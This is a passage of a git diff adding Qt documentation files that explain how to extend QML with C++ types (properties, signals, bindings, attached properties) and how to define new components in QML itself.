examples/declarative/extending/coercion/person.h 0 + +The Person class remains unaltered in this example and the Boy and Girl C++ +classes are trivial extensions of it. As an example, the inheritance used here +is a little contrived, but in real applications it is likely that the two +extensions would add additional properties or modify the Person classes +behavior. + +\section2 Define People as a base class + +The implementation of the People class itself has not changed since the the +previous example. However, as we have repurposed the People class as a common +base for Boy and Girl, we want to prevent it from being instantiated from QML +directly - an explicit Boy or Girl should be instantiated instead. + +\snippet examples/declarative/extending/coercion/main.cpp 0 + +While we want to disallow instantiating Person from within QML, it still needs +to be registered with the QML engine, so that it can be used as a property type +and other types can be coerced to it. To register a type, without defining a +named mapping into QML, we call the QML_REGISTER_NOCREATE_TYPE() macro instead of +the QML_REGISTER_TYPE() macro used previously. + +\section2 Define Boy and Girl + +The implementation of Boy and Girl are trivial. + +\snippet examples/declarative/extending/coercion/person.cpp 1 + +All that is necessary is to implement the constructor, and to register the types +and their QML name with the QML engine. + +\section1 Running the example + +The BirthdayParty element has not changed since the previous example. The +celebrant and guests property still use the People type. + +\snippet examples/declarative/extending/coercion/birthdayparty.h 0 + +However, as all three types, Person, Boy and Girl, have been registered with the +QML system, on assignment QML automatically (and type-safely) converts the Boy +and Girl objects into a Person. + +The main.cpp file in the example includes a simple shell application that +loads and runs the QML snippet shown at the beginning of this page. +*/ + +/*! +\example declarative/extending/default +\title Extending QML - Default Property Example + +This example builds on: +\list +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +The Default Property Example is a minor modification of the +\l {Extending QML - Inheritance and Coercion Example} that simplifies the +specification of a BirthdayParty through the use of a default property. + +\snippet examples/declarative/extending/default/example.qml 0 + +\section1 Declaring the BirthdayParty class + +The only difference between this example and the last, is the addition of the +\c DefaultProperty class info annotation. + +\snippet examples/declarative/extending/default/birthdayparty.h 0 + +The default property specifies the property to assign to whenever an explicit +property is not specified, in the case of the BirthdayParty element the guest +property. It is purely a syntactic simplification, the behavior is identical +to specifying the property by name, but it can add a more natural feel in many +situations. The default property must be either an object or list property. + +\section1 Running the example + +The main.cpp file in the example includes a simple shell application that +loads and runs the QML snippet shown at the beginning of this page. +*/ + +/*! +\example declarative/extending/grouped +\title Extending QML - Grouped Properties Example + +This example builds on: +\list +\o \l {Extending QML - Default Property Example} +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +*/ + +/*! +\example declarative/extending/grouped +\title Extending QML - Attached Properties Example + +This example builds on: +\list +\o \l {Extending QML - Grouped Properties Example} +\o \l {Extending QML - Default Property Example} +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +*/ + +/*! +\example declarative/extending/signal +\title Extending QML - Signal Support Example + +This example builds on: +\list +\o \l {Extending QML - Attached Properties Example} +\o \l {Extending QML - Grouped Properties Example} +\o \l {Extending QML - Default Property Example} +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +*/ + +/*! +\example declarative/extending/valuesource +\title Extending QML - Property Value Source Example + +This example builds on: +\list +\o \l {Extending QML - Signal Support Example} +\o \l {Extending QML - Attached Properties Example} +\o \l {Extending QML - Grouped Properties Example} +\o \l {Extending QML - Default Property Example} +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +*/ + +/*! +\example declarative/extending/binding +\title Extending QML - Binding Example + +This example builds on: +\list +\o \l {Extending QML - Property Value Source Example} +\o \l {Extending QML - Signal Support Example} +\o \l {Extending QML - Attached Properties Example} +\o \l {Extending QML - Grouped Properties Example} +\o \l {Extending QML - Default Property Example} +\o \l {Extending QML - Inheritance and Coercion Example} +\o \l {Extending QML - Object and List Property Types Example} +\o \l {Extending QML - Adding Types Example} +\endlist + +*/ diff --git a/doc/src/declarative/extending.qdoc b/doc/src/declarative/extending.qdoc new file mode 100644 index 0000000..e1c6469 --- /dev/null +++ b/doc/src/declarative/extending.qdoc @@ -0,0 +1,998 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +/*! +\page qml-extending.html +\title Extending QML in C++ + +The QML syntax declaratively describes how to construct an in memory object +tree. In Qt, QML is mainly used to describe a visual scene graph, but it is +not conceptually limited to this: the QML format is an abstract description of +any object tree. All the QML element types included in Qt are implemented using +the C++ extension mechanisms describe on this page. Programmers can use these +APIs to add new types that interact with the existing Qt types, or to repurpose +QML for their own independent use. + +\tableofcontents + +\section1 Adding Types +\target adding-types + +\snippet examples/declarative/extending/adding/example.qml 0 + +The QML snippet shown above instantiates one \c Person instance and sets +the name and shoeSize properties on it. Everything in QML ultimately comes down +to either instantiating an object instance, or assigning a property a value. +QML relies heavily on Qt's meta object system and can only instantiate classes +that derive from QObject. + +The QML engine has no intrinsic knowledge of any class types. Instead the +programmer must define the C++ types, and their corresponding QML name. + +Custom C++ types are declared QML types using a macro and a template function: + +\quotation + +\code +#define QML_DECLARE_TYPE(T) +template<typename T> +int qmlRegisterType(const char *uri, int versionMajor, int versionMinor, const char *qmlName) +\endcode + +Calling qmlRegisterType() registers the C++ type \a T with the QML system, and makes it available in QML +under the name \a qmlName in library \a uri version \a versionMajor.versionMinor. +The \a qmlName can be the same as the C++ type name. + +Generally the QML_DECLARE_TYPE() macro should be included immediately following +the type declaration (usually in its header file), and the template function qmlRegisterType() +called by the implementation. + +Type \a T must be a concrete type that inherits QObject and has a default +constructor. +\endquotation + +Types can be registered by libraries (such as Qt does), application code, +or by plugins (see QDeclarativeExtensionPlugin). + +Once registered, all of the \l {Qt's Property System}{properties} of a supported +type are available for use within QML. QML has intrinsic support for properties +of these types: + +\list +\o bool +\o unsigned int, int +\o float, double, qreal +\o QString +\o QUrl +\o QColor +\o QDate, QTime, QDateTime +\o QPoint, QPointF +\o QSize, QSizeF +\o QRect, QRectF +\o QVariant +\endlist + +QML is typesafe. Attempting to assign an invalid value to a property will +generate an error. For example, assuming the name property of the \c Person +element had a type of QString, this would cause an error: + +\code +Person { + // Will NOT work + name: 12 +} +\endcode + +\l {Extending QML - Adding Types Example} shows the complete code used to create +the \c Person type. + +\section1 Object and List Property Types + +\snippet examples/declarative/extending/properties/example.qml 0 + +The QML snippet shown above assigns a \c Person object to the \c BirthdayParty's +celebrant property, and assigns three \c Person objects to the guests property. + +QML can set properties of types that are more complex than basic intrinsics like +integers and strings. Properties can also be object pointers, Qt interface +pointers, lists of object points, and lists of Qt interface pointers. As QML +is typesafe it ensures that only valid types are assigned to these properties, +just like it does for primitive types. + +Properties that are pointers to objects or Qt interfaces are declared with the +Q_PROPERTY() macro, just like other properties. The celebrant property +declaration looks like this: + +\snippet examples/declarative/extending/properties/birthdayparty.h 1 + +As long as the property type, in this case Person, is registered with QML the +property can be assigned. + +QML also supports assigning Qt interfaces. To assign to a property whose type +is a Qt interface pointer, the interface must also be registered with QML. As +they cannot be instantiated directly, registering a Qt interface is different +from registering a new QML type. The following macro and function are used instead: + +\quotation +\code +#define QML_DECLARE_INTERFACE(T) +template<typename T> +int qmlRegisterInterface(const char *typeName) +\endcode + +Registers the C++ interface \a T with the QML system as \a typeName. + +Generally the QML_DECLARE_INTERFACE() macro should be included immediately +following the interface declaration (usually in its header file), and the +qmlRegisterInterface() template function called by the implementation. + +Following registration, QML can coerce objects that implement this interface +for assignment to appropriately typed properties. +\endquotation + +The guests property is a list of \c Person objects. Properties that are lists +of objects or Qt interfaces are also declared with the Q_PROPERTY() macro, just +like other properties. List properties must have the type \c {QDeclarativeListProperty<T>}. +As with object properties, the type \a T must be registered with QML. + +The guest property declaration looks like this: + +\snippet examples/declarative/extending/properties/birthdayparty.h 2 + +\l {Extending QML - Object and List Property Types Example} shows the complete +code used to create the \c BirthdayParty type. + +\section1 Inheritance and Coercion + +\snippet examples/declarative/extending/coercion/example.qml 0 + +The QML snippet shown above assigns a \c Boy object to the \c BirthdayParty's +celebrant property, and assigns three other objects to the guests property. + +QML supports C++ inheritance heirarchies and can freely coerce between known, +valid object types. This enables the creation of common base classes that allow +the assignment of specialized classes to object or list properties. In the +snippet shown, both the celebrant and the guests properties retain the Person +type used in the previous section, but the assignment is valid as both the Boy +and Girl objects inherit from Person. + +To assign to a property, the property's type must have been registered with QML. +Both the qmlRegisterType() and qmlRegisterInterface() template functions already +shown can be used to register a type with QML. Additionally, if a type that acts purely +as a base class that cannot be instantiated from QML needs to be +registered these macro and function can be used: + +\quotation +\code + #define QML_DECLARE_TYPE(T) + template<typename T> + int qmlRegisterType() +\endcode + +Registers the C++ type \a T with the QML system. The parameterless call to the template +function qmlRegisterType() does not define a mapping between the +C++ class and a QML element name, so the type is not instantiable from QML, but +it is available for type coercion. + +Generally the QML_DECLARE_TYPE() macro should be included immediately following +the type declaration (usually in its header file), and the +qmlRegisterType() template function called from the implementation. + +Type \a T must inherit QObject, but there are no restrictions on whether it is +concrete or the signature of its constructor. +\endquotation + +QML will automatically coerce C++ types when assigning to either an object +property, or to a list property. Only if coercion fails does an assignment +error occur. + +\l {Extending QML - Inheritance and Coercion Example} shows the complete +code used to create the \c Boy and \c Girl types. + +\section1 Default Property + +\snippet examples/declarative/extending/default/example.qml 0 + +The QML snippet shown above assigns a collection of objects to the +\c BirthdayParty's default property. + +The default property is a syntactic convenience that allows a type designer to +specify a single property as the type's default. The default property is +assigned to whenever no explicit property is specified. As a convenience, it is +behaviorally identical to assigning the default property explicitly by name. + +From C++, type designers mark the default property using a Q_CLASSINFO() +annotation: + +\quotation +\code +Q_CLASSINFO("DefaultProperty", "property") +\endcode + +Mark \a property as the class's default property. \a property must be either +an object property, or a list property. + +A default property is optional. A derived class inherits its base class's +default property, but may override it in its own declaration. \a property can +refer to a property declared in the class itself, or a property inherited from a +base class. +\endquotation + +\l {Extending QML - Default Property Example} shows the complete code used to +specify a default property. + +\section1 Grouped Properties + +\snippet examples/declarative/extending/grouped/example.qml 1 + +The QML snippet shown above assigns a number properties to the \c Boy object, +including four properties using the grouped property syntax. + +Grouped properties collect similar properties together into a single named +block. Grouped properties can be used to present a nicer API to developers, and +may also simplify the implementation of common property collections across +different types through implementation reuse. + +A grouped property block is implemented as a read-only object property. The +shoe property shown is declared like this: + +\snippet examples/declarative/extending/grouped/person.h 1 + +The ShoeDescription type declares the properties available to the grouped +property block - in this case the size, color, brand and price properties. + +Grouped property blocks may declared and accessed be recusively. + +\l {Extending QML - Grouped Properties Example} shows the complete code used to +implement the \c shoe property grouping. + +\section1 Attached Properties + +\snippet examples/declarative/extending/attached/example.qml 1 + +The QML snippet shown above assigns the rsvp property using the attached +property syntax. + +Attached properties allow unrelated types to annotate other types with some +additional properties, generally for their own use. Attached properties are +identified through the use of the attacher type name, in the case shown +\c BirthdayParty, as a suffix to the property name. + +In the example shown, \c BirthdayParty is called the attaching type, and the +Boy instance the attachee object instance. + +For the attaching type, an attached property block is implemented as a new +QObject derived type, called the attachment object. The properties on the +attachment object are those that become available for use as the attached +property block. + +Any QML type can become an attaching type by declaring the +\c qmlAttachedProperties() public function and declaring that the class has +QML_HAS_ATTACHED_PROPERTIES: + +\quotation +\code +class MyType : public QObject { + Q_OBJECT +public: + + ... + + static AttachedPropertiesType *qmlAttachedProperties(QObject *object); +}; + +QML_DECLARE_TYPEINFO(MyType, QML_HAS_ATTACHED_PROPERTIES) +QML_DECLARE_TYPE(MyType) +\endcode +Return an attachment object, of type \a AttachedPropertiesType, for the +attachee \a object instance. It is customary, though not strictly required, for +the attachment object to be parented to \a object to prevent memory leaks. + +\a AttachedPropertiesType must be a QObject derived type. The properties on +this type will be accessible through the attached properties syntax. + +This method will be called at most once for each attachee object instance. The +QML engine will cache the returned instance pointer for subsequent attached +property accesses. Consequently the attachment object may not be deleted until +\a object is destroyed. +\endquotation + +Conceptually, attached properties are a \e type exporting a set of additional +properties that can be set on \e any other object instance. Attached properties +cannot be limited to only attaching to a sub-set of object instances, although +their effect may be so limited. + +For example, a common usage scenario is for a type to enhance the properties +available to its children in order to gather instance specific data. Here we +add a rsvp field to all the guests coming to a birthday party: +\code +BirthdayParty { + Boy { BirthdayParty.rsvp: "2009-06-01" } +} +\endcode +However, as a type cannot limit the instances to which the attachment object +must attach, the following is also allowed, even though adding a birthday party +rsvp in this context will have no effect. +\code +GraduationParty { + Boy { BirthdayParty.rsvp: "2009-06-01" } +} +\endcode + +From C++, including the attaching type implementation, the attachment object for +an instance can be accessed using the following method: + +\quotation +\code +template<typename T> +QObject *qmlAttachedPropertiesObject<T>(QObject *attachee, bool create = true); +\endcode +Returns the attachment object attached to \a attachee by the attaching type +\a T. If type \a T is not a valid attaching type, this method always returns 0. + +If \a create is true, a valid attachment object will always be returned, +creating it if it does not already exist. If \a create is false, the attachment +object will only be returned if it has previously been created. +\endquotation + +\l {Extending QML - Attached Properties Example} shows the complete code used to +implement the rsvp attached property. + +\section1 Memory Management and QVariant types + +It is an elements responsibility to ensure that it does not access or return +pointers to invalid objects. QML makes the following guarentees: + +\list +\o An object assigned to an QObject (or QObject-derived) pointer property will be +valid at the time of assignment. + +Following assignment, it is the responsibility of the class to subsequently guard +this pointer, either through a class specific method or the generic QPointer class. + +\o An object assigned to a QVariant will be valid at the time of assignment. + +When assigning an object to a QVariant property, QML will always use a QMetaType::QObjectStar +typed QVariant. It is the responsibility of the class to guard the pointer. A +general rule when writing a class that uses QVariant properties is to check the +type of the QVariant when it is set and if the type is not handled by your class, +reset it to an invalid variant. + +\o An object assigned to a QObject (or QObject-derived) list property will be +valid at the time of assignment. + +Following assignment, it is the responsibility of the class to subsequently guard +this pointer, either through a class specific method or the generic QPointer class. +\endlist + +Elements should assume that any QML assigned object can be deleted at any time, and +respond accordingly. If documented as such an element need not continue to work in +this situation, but it must not crash. + +\section1 Signal Support + +\snippet examples/declarative/extending/signal/example.qml 0 +\snippet examples/declarative/extending/signal/example.qml 1 + +The QML snippet shown above associates the evaluation of a JavaScript expression +with the emission of a Qt signal. + +All Qt signals on a registered class become available as special "signal +properties" within QML to which the user can assign a single JavaScript +expression. The signal property's name is a transformed version of the Qt +signal name: "on" is prepended, and the first letter of the signal name upper +cased. For example, the signal used in the example above has the following +C++ signature: + +\snippet examples/declarative/extending/signal/birthdayparty.h 0 + +In classes with multiple signals with the same name, only the final signal +is accessible as a signal property. Note that signals with the same name +but different parameters cannot be distinguished. + +Signal parameters become accessible by name to the assigned script. An +unnamed parameter cannot be accessed, so care should be taken to name all the +signal parameters in the C++ class declaration. The intrinsic types +listed in \l {Adding Types}, as well registered object types are permitted as +signal parameter types. Using other types is not an error, but the parameter +value will not be accessible from script. + +\l {Extending QML - Signal Support Example} shows the complete code used to +implement the onPartyStarted signal property. + +\section1 Property Value Sources + +\snippet examples/declarative/extending/valuesource/example.qml 0 +\snippet examples/declarative/extending/valuesource/example.qml 1 + +The QML snippet shown above assigns a property value to the speaker property. +A property value source generates a value for a property that changes over time. + +Property value sources are most commonly used to do animation. Rather than +constructing an animation object and manually setting the animation's "target" +property, a property value source can be assigned directly to a property of any +type and automatically set up this association. + +The example shown here is rather contrived: the speaker property of the +BirthdayParty object is a string that is printed every time it is assigned and +the HappyBirthday value source generates the lyrics of the song +"Happy Birthday". + +\snippet examples/declarative/extending/valuesource/birthdayparty.h 0 + +Normally, assigning an object to a string property would not be allowed. In +the case of a property value source, rather than assigning the object instance +itself, the QML engine sets up an association between the value source and +the property. + +Property value sources are special types that derive from the +QDeclarativePropertyValueSource base class. This base class contains a single method, +QDeclarativePropertyValueSource::setTarget(), that the QML engine invokes when +associating the property value source with a property. The relevant part of +the HappyBirthday type declaration looks like this: + +\snippet examples/declarative/extending/valuesource/happybirthday.h 0 +\snippet examples/declarative/extending/valuesource/happybirthday.h 1 +\snippet examples/declarative/extending/valuesource/happybirthday.h 2 + +In all other respects, property value sources are regular QML types. They must +be registered with the QML engine using the same macros as other types, and can +contain properties, signals and methods just like other types. + +When a property value source object is assigned to a property, QML first tries +to assign it normally, as though it were a regular QML type. Only if this +assignment fails does the engine call the setTarget() method. This allows +the type to also be used in contexts other than just as a value source. + +\l {Extending QML - Property Value Source Example} shows the complete code used +implement the HappyBirthday property value source. + +\section1 Property Binding + +\snippet examples/declarative/extending/binding/example.qml 0 +\snippet examples/declarative/extending/binding/example.qml 1 + +The QML snippet shown above uses a property binding to ensure the +HappyBirthday's name property remains up to date with the celebrant. + +Property binding is a core feature of QML. In addition to assigning literal +values, property bindings allow the developer to assign an arbitrarily complex +JavaScript expression that may include dependencies on other property values. +Whenever the expression's result changes - through a change in one of its +constituent values - the expression is automatically reevaluated and +the new result assigned to the property. + +All properties on custom types automatically support property binding. However, +for binding to work correctly, QML must be able to reliably determine when a +property has changed so that it knows to reevaluate any bindings that depend on +the property's value. QML relies on the presence of a +\c {Qt's Property System}{NOTIFY signal} for this determination. + +Here is the celebrant property declaration: + +\snippet examples/declarative/extending/binding/birthdayparty.h 0 + +The NOTIFY attribute is followed by a signal name. It is the responsibility of +the class implementer to ensure that whenever the property's value changes, the +NOTIFY signal is emitted. The signature of the NOTIFY signal is not important to QML. + +To prevent loops or excessive evaluation, developers should ensure that the +signal is only emitted whenever the property's value is actually changed. If +a property, or group of properties, is infrequently used it is permitted to use +the same NOTIFY signal for several properties. This should be done with care to +ensure that performance doesn't suffer. + +To keep QML reliable, if a property does not have a NOTIFY signal, it cannot be +used in a binding expression. However, the property can still be assigned +a binding as QML does not need to monitor the property for change in that +scenario. + +Consider a custom type, \c TestElement, that has two properties, "a" and "b". +Property "a" does not have a NOTIFY signal, and property "b" does have a NOTIFY +signal. + +\code +TestElement { + // This is OK + a: b +} +TestElement { + // Will NOT work + b: a +} +\endcode + +The presence of a NOTIFY signal does incur a small overhead. There are cases +where a property's value is set at object construction time, and does not +subsequently change. The most common case of this is when a type uses +\l {Grouped Properties}, and the grouped property object is allocated once, and +only freed when the object is deleted. In these cases, the CONSTANT attribute +may be added to the property declaration instead of a NOTIFY signal. + +\snippet examples/declarative/extending/binding/person.h 0 + +Extreme care must be taken here or applications using your type may misbehave. +The CONSTANT attribute should only be used for properties whose value is set, +and finalized, only in the class constructor. All other properties that want +to be used in bindings should have a NOTIFY signal instead. + +\l {Extending QML - Binding Example} shows the BirthdayParty example updated to +include NOTIFY signals for use in binding. + +\section1 Extension Objects + +\snippet examples/declarative/extending/extended/example.qml 0 + +The QML snippet shown above adds a new property to an existing C++ type without +modifying its source code. + +When integrating existing classes and technology into QML, their APIs will often +need to be tweaked to fit better into the declarative environment. Although +the best results are usually obtained by modifying the original classes +directly, if this is either not possible or is complicated by some other +concerns, extension objects allow limited extension possibilities without +direct modifications. + +Extension objects are used to add additional properties to an existing type. +Extension objects can only add properties, not signals or methods. An extended +type definition allows the programmer to supply an additional type - known as the +extension type - when registering the target class whose properties are +transparently merged with the original target class when used from within QML. + +An extension class is a regular QObject, with a constructor that takes a QObject +pointer. When needed (extension classes are delay created until the first extended +property is accessed) the extension class is created and the target object is +passed in as the parent. When an extended property on the original is accessed, +the appropriate property on the extension object is used instead. + +When an extended type is installed, one of the +\code + #define QML_REGISTER_EXTENDED_TYPE(URI, VMAJ, VFROM, VTO, QDeclarativeName,T, ExtendedT) + #define QML_REGISTER_EXTENDED_NOCREATE_TYPE(T, ExtendedT) +\endcode +macros should be used instead of the regular \c QML_REGISTER_TYPE or +\c QML_REGISTER_NOCREATE_TYPE. The arguments are identical to the corresponding +non-extension object macro, except for the ExtendedT parameter which is the type +of the extension object. + +\section1 Optimization + +Often to develop high performance elements it is helpful to know more about the +status of the QML engine. For example, it might be beneficial to delay +initializing some costly data structures until after all the properties have been +set. + +The QML engine defines an interface class called QDeclarativeParserStatus, which contains a +number of virtual methods that are invoked at various stages during component +instantiation. To receive these notifications, an element implementation inherits +QDeclarativeParserStatus and notifies the Qt meta system using the Q_INTERFACES() macro. + +For example, + +\code +class Example : public QObject, public QDeclarativeParserStatus +{ + Q_OBJECT + Q_INTERFACES(QDeclarativeParserStatus) +public: + virtual void componentComplete() + { + qDebug() << "Woohoo! Now to do my costly initialization"; + } +}; +\endcode + +*/ + +/*! +\page qml-extending-types.html +\title Extending types from QML + +Many of the elements available for use in QML are implemented in +\l {Extending QML in C++}{C++}. These types are know as "core types". QML +allows programmers to build new, fully functional elements without using C++. +Existing core types can be extended, and new types defined entirely in the QML +language. + +\tableofcontents + +\section1 Adding new properties + +New properties can be added to an existing type. These new properties are +available for use within QML, and also appear as regular Qt properties on the +C++ object, accessible through the regular property access mechanisms. + +Like all properties in QML, custom properties are typed. The type is used to +define the property's behavior, and also determines the C++ type of the created +Qt property. The following table shows the list of types available when +declaring a new property, and the corresponding C++ type. + +\table +\header \o QML Type Name \o C++ Type Name +\row \o int \o int +\row \o bool \o bool +\row \o double \o double +\row \o real \o double +\row \o string \o QString +\row \o url \o QUrl +\row \o color \o QColor +\row \o date \o QDateTime +\row \o variant \o QVariant +\endtable + +QML supports two methods for adding a new property to a type: a new property +definition, and a property alias. + +\section2 Property definitions + +Property definitions add a new property to an existing type. The storage of the +property is managed by QML. The defined property may be read, written and bound +to and from. + +The syntax for defining a new property is: +\code + [default] property <type> <name>[: defaultValue] +\endcode + +This declaration may appear anywhere within a type body, but it is customary to +include it at the top. Attempting to declare two properties with the same name +in the same type block is an error. However, a new property may reuse the name +of an existing property on the type. This should be done with caution, as the +existing property will be hidden, and become inaccessible. + +The <type> must be one of the QML type names shown in the above table. +Additionally, an optional default value of the property can be provided. The +default value is a convenient shortcut, but is behaviorally identical to doing +it in two steps, like this: + +\code + // Use default value + property int myProperty: 10 + + // Longer, but behaviorally identical + property int myProperty + myProperty: 10 +\endcode + +If a default value is not supplied or set later in the file, each type has a +default value for when none is explictly set. Below are the default values +of some of the types. For the remaining types the default values are undefined. + +\table +\header \o QML Type \o Default Value +\row \o bool \o false +\row \o int \o 0 +\row \o double, real \o 0.0 +\row \o string, url \o "" (an empty string) +\row \o color \o #000000 (black) +\endtable + +If specified, the optional "default" attribute marks the new property as the +types default property, overriding any existing default property. Using the +default attribute twice in the same type block is an error. + +The following example shows how to declare a new "innerColor" property that +controls the color of the inner rectangle. + +\code + Rectangle { + property color innerColor: "black" + + color: "red"; width: 100; height: 100 + Rectangle { + anchors.centerIn: parent + width: parent.width - 10 + height: parent.height - 10 + color: innerColor + } + } +\endcode + +\target qml-property-aliases +\section2 Property aliases + +Property aliases are a more advanced form of property declaration. Unlike a +property definition, that allocates a new, unique storage space for the +property, a property alias connects the newly declared property (called the +aliasing property) to an existing property (the aliased property). Read +operations on the aliasing property act as read operations on the aliased +property, and write operations on the aliasing property as write operations on +the aliased property. + +A property alias declaration looks a lot like a property definition: +\code + [default] property alias <name>: <alias reference> +\endcode + +As the aliasing property has the same type as the aliased property, an explicit +type is omitted, and the special "alias" keyword is used. Instead of a default +value, a property alias includes a compulsary alias reference. The alias +reference is used to locate the aliased property. While similar to a property +binding, the alias reference syntax is highly restricted. + +An alias reference takes one of the following forms +\code + <id>.<property> + <id> +\endcode + +where <id> must refer to an object id within the same component as the type +declaring the alias, and, optionally, <property> refers to a property on that object. + +Here is the property definition example rewritten to use property aliases. +\code +Rectangle { + property alias innerColor: innerRect.color + + color: "red"; width: 100; height: 100 + Rectangle { + id: innerRect + anchors.centerIn: parent + width: parent.width - 10 + height: parent.height - 10 + color: "black" + } +} +\endcode + +Aliases are most useful when \l {Defining new Components}. Consequently +they have several apparent limitations that only make sense in this context. + +Aliases are only activated once the component specifying them is completed. The +most obvious consequence of this is that the component itself cannot generally +use the aliased property directly. For example, this will not work: + +\code + // Does NOT work + property alias innerColor: innerRect.color + innerColor: "black" +\endcode + +This behavior is required to allow type developers to redefine the behavior +of existing property names while continuing to use the existing behavior within +the type they are building, something that is not possible with property +definitions. In the example used so far, this could allows the developer to fix +the external rectangle's color as "red" and redefine the "color" property to +refer to the inner rectangle, like this: + +\code +Rectangle { + property alias color: innerRect.color + + color: "red"; width: 100; height: 100 + Rectangle { + id: innerRect + anchors.centerIn: parent + width: parent.width - 10 + height: parent.height - 10 + color: "black" + } +} +\endcode + +Users of this type would not be able to affect the color of the red rectangle, +but would find using the "color" property, rather than the strange new +"innerColor" property, much more familiar. + +A second, much less significant, consequence of the delayed activation of +aliases is that an alias reference cannot refer to another aliasing property +declared within the same component. This will not work: + +\code + // Does NOT work + id: root + property alias innerColor: innerRect.color + property alias innerColor2: root.innerColor +\endcode + +From outside the component, aliasing properties appear as regular Qt properties +and consequently can be used in alias references. + +\section1 Adding new signals + +New signals can be added to an existing type. These new signals are available +for use within QML, and also appear as regular Qt signals on the C++ object that +can be used in Qt signal/slot connections. + +The syntax for defining a new signal is: +\code +signal <name>[([<type> <parameter name>[, ...]])] +\endcode + +This declaration may appear anywhere within a type body, but it is customary to +include it at the top. Attempting to declare two signals or methods with the +same name in the same type block is an error. However, a new signal may reuse +the name of an existing signal on the type. This should be done with caution, +as the existing signal may be hidden and become inaccessible. + +The options for parameter types are the same as for property types (see +\l {Adding new properties}. If this signal has no parameters, the parameter +list may be omitted entirely. + +Here are three examples of signal declarations: +\code + Item { + signal clicked + signal hovered() + signal performAction(string action, variant actionArgument) + } +\endcode + +Adding a signal to an item automatically adds a signal handler to it. +The signal hander is named on<Signal name>, with the first letter of the +signal name being upper cased. The above example item would now have the +following signal handlers: + +\list + \o onClicked + \o onHovered + \o onPerformAction +\endlist + +\section1 Adding new methods + +New methods can be added to an existing type. These new methods are available +for use within QML, and also appear as regular Qt slots on the C++ object that +can be used in Qt signal/slot connections. + +\code +function <name>([<parameter name>[, ...]]) { <body> } +\endcode + +This declaration may appear anywhere within a type body, but it is customary to +include it at the top. Attempting to declare two methods or signals with the +same name in the same type block is an error. However, a new method may reuse +the name of an existing method on the type. This should be done with caution, +as the existing method may be hidden and become inaccessible. + +Methods parameters are not typed. In C++ these parameters are of type QVariant. +The body of the method is written in JavaScript and may access the parameters by +name. + +This example adds a new method that behaves like a child: +\code +Item { + function say(text) { + console.log("You said " + text); + } +} +\endcode + +\section1 Defining new Components +\target components + +A component is a reusable type with a well-defined interface built entirely in +QML. Components appear as regular QML elements, and can be used interchangably +with core types. Components allow developers to create new types to be reused +in other projects without the use of C++. Components can also help to reduce +duplication inside one project by limiting the need for large numbers of +copy-and-pasted blocks. + +Any snippet of QML code can become a component, just by placing it in the file +"<Name>.qml" where <Name> is the new element name, and begins with an uppercase +letter. These QML files automatically become available as new QML element types +to other QML components and applications in the same directory. + +For example, here we show how a component named "Box" is defined and used +multiple times by an application. + +\table +\row +\o application.qml +\code +Rectangle { + width: 100; height: 400; + Box { x: 0; y: 0 } + Box { x: 0; y: 150 } + Box { x: 0; y: 300 } +} +\endcode +\o Box.qml +\code +Rectangle { + width: 100; height: 100; + color: "blue" +} +\endcode +\endtable + +Components may be collected into \l {Modules} that gives the +developer more freedom than just putting files in the same directory. + +\section2 Building reusable components + +A component type built to be reused by others must have a well defined +interface. In QML, an interface consists of a defined collection of +properties, signals and methods. Users of a component have access to all the +properties, signals and methods defined on the root element of the component. + +In the component example above, the root element of the "Box" component is a +Rect. As the Rect type has a "color" property, this property is accessible to +users of the Box component. For example, the application.qml can be modified +to show three different colored boxes like this: +\code +Rectangle { + width: 100; height: 400; + Box { x: 0; y: 0; color: "red"; } + Box { x: 0; y: 150; color: "yellow"; } + Box { x: 0; y: 300; color: "green"; } +} +\endcode + +As expected, adding additional properties to the root element of Box, makes them +available externally. Here we add a "text" property: + +\table +\row +\o application.qml +\code +Rectangle { + width: 100; height: 400; + Box { x: 0; y: 0; color: "red"; text: "stop" } + Box { x: 0; y: 150; color: "yellow"; text: "slow" } + Box { x: 0; y: 300; color: "green"; text: "go" } +} +\endcode +\o Box.qml +\code +Rectangle { + property alias text: myText.text + width: 100; height: 100; + color: "blue" + Text { + id: myText + anchors.centerIn: parent + } +} +\endcode +\endtable + +Methods and signals may be added in the same way. + +As all external methods, signals and properties are accessible to external +users, developers should ensure that setting these properties does not have +any undesirable side-effects. For most resiliance, root level properties should +only be used for literal default values. When a root level property must be +used inside the component - such as the children property - property aliases +can be used to redirect this property to a "safe" location for external users. +Try to think of the root level properties as being "owned" by the components +user, rather than the component itself. +*/ diff --git a/doc/src/declarative/focus.qdoc b/doc/src/declarative/focus.qdoc new file mode 100644 index 0000000..e5c1d32 --- /dev/null +++ b/doc/src/declarative/focus.qdoc @@ -0,0 +1,340 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the documentation of the Qt 